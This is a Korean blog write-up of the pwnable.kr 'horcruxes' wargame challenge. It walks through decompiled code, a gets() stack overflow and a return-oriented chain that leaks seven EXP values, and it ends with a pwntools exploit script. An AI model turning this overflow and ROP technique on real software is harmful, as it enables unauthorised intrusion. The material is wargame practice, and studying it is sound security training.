문제 코드가 주어지지 않으므로 실행파일을 가져와서 IDA로 분석합니다. 아래 명령어를 입력하면 파일을 가져올 수 있습니다.
scp -P 2222 horcruxes@pwnable.kr:/home/horcruxes/horcruxes ./
아래는 IDA로 분석한 코드입니다.
int ropme()
{
char s[100]; // [esp+4h] [ebp-74h] BYREF
int v2; // [esp+68h] [ebp-10h] BYREF
int fd; // [esp+6Ch] [ebp-Ch]
printf("Select Menu:");
__isoc99_scanf("%d", &v2);
getchar();
if ( v2 == a )
{
A();
}
else if ( v2 == b )
{
B();
}
else if ( v2 == c )
{
C();
}
else if ( v2 == d )
{
D();
}
else if ( v2 == e )
{
E();
}
else if ( v2 == f )
{
F();
}
else if ( v2 == g )
{
G();
}
else
{
printf("How many EXP did you earned? : ");
gets(s);
if ( atoi(s) == sum )
{
fd = open("flag", 0);
s[read(fd, s, 0x64u)] = 0;
puts(s);
close(fd);
exit(0);
}
puts("You'd better get more experience to kill Voldemort");
}
return 0;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-Ch]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
alarm(0x3Cu);
hint();
init_ABCDEFG();
v4 = seccomp_init(0);
seccomp_rule_add(v4, 2147418112, 173, 0);
seccomp_rule_add(v4, 2147418112, 5, 0);
seccomp_rule_add(v4, 2147418112, 3, 0);
seccomp_rule_add(v4, 2147418112, 4, 0);
seccomp_rule_add(v4, 2147418112, 252, 0);
seccomp_load(v4);
return ropme();
}
문제 코드에서 1차 공격지점은 ropme 함수의 gets 함수로 버퍼오버플로우가 일어납니다. 스택의 모양은 아래와 같으며 gets에서 버퍼오버플로우가 일어나면 ropme 함수의 ret까지 오염시킬 수 있습니다. sfp와 gets 시작위치 차이는 gdb에서 확인하면 0x74로 sfp 4바이트를 합친 0x78 바이트만큼 덮어씌우고 ret에 원하는 주소를 덮어씌울 수 있습니다. 바로 플래그를 열람하는 부분 주소를 덮어씌우고 싶으나 해당 주소 0x080a010b에는 0a 바이트가 포함되어 있으므로 0a는 아스키드로 \n을 의미하므로 gets함수가 종료된다. 따라서 다른 방법을 사용해야 한다.
+==================+
| ... |
| ropme 함수 ret |
| ropme 함수 sfp |
| ... |
| gets |
| |
| |
+==================+
int A()
{
return printf("You found \"Tom Riddle's Diary\" (EXP +%d)\n", a);
}
함수 A를 살펴보면 EXP 값을 출력한다. 따라서 A부터 G까지 순서대로 출력하면 모든 EXP 값을 알 수 있고 ropme 함수에 접근할 수 있다면 문제에서 요구한대로 모든 EXP값을 더하여 제출하여 플래그가 출력할 수 있다. ropme 함수의 시작주소는 0a가 포함되어 있으므로 사용불가능하지만 아래와 같이 main 함수에 ropme 함수를 call하는 명령어 주소 0x0809fffc를 ret에 덮어씌우면 ropme를 호출할 수 있다. 스택은 아래와 같이 바뀐다.
0x0809fffc <+216>: call 0x80a0009 <ropme>
+==================+
| ... |
| 0x0809fffc |
| G |
| ... |
| C |
| B |
| ret -> A |
| sfp -> aaaa |
| ... |
| gets -> aaaa |
| |
| |
+==================+
익스플로잇 코드
from pwn import *
r=remote("localhost",9032)
context.log_level='debug'
def main():
A=0x0809fe4b
B=0x0809fe6a
C=0x0809fe89
D=0x0809fea8
E=0x0809fec7
F=0x0809fee6
G=0x0809ff05
ropme= 0x809fffc // ropme 호출 명령어 주소
r.recvuntil('Select Menu:')
r.sendline("1") // 아무 숫자 넣어도 상관 X
r.recvuntil('How many EXP did you earned? : ')
payload=b'a' * (0x78)
payload += p32(A)
payload += p32(B)
payload += p32(C)
payload += p32(D)
payload += p32(E)
payload += p32(F)
payload += p32(G)
payload += p32(ropme)
r.sendline(payload)
sum=0
for i in range(7):
r.recvuntil('EXP +')
sum+=int(r.recvuntil(')')[:-1])
print('[SUM] :' + str(sum))
r.interactive()
if __name__ == '__main__':
main()
'시스템 해킹 > pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] fsb (0) | 2021.08.07 |
---|---|
[Pwnable.kr] tiny_easy (0) | 2021.08.04 |
[Pwnable.kr] asm (0) | 2021.08.01 |
[Pwnable.kr] memcpy (0) | 2021.07.31 |
[Pwnable.kr] uaf (0) | 2021.07.30 |
댓글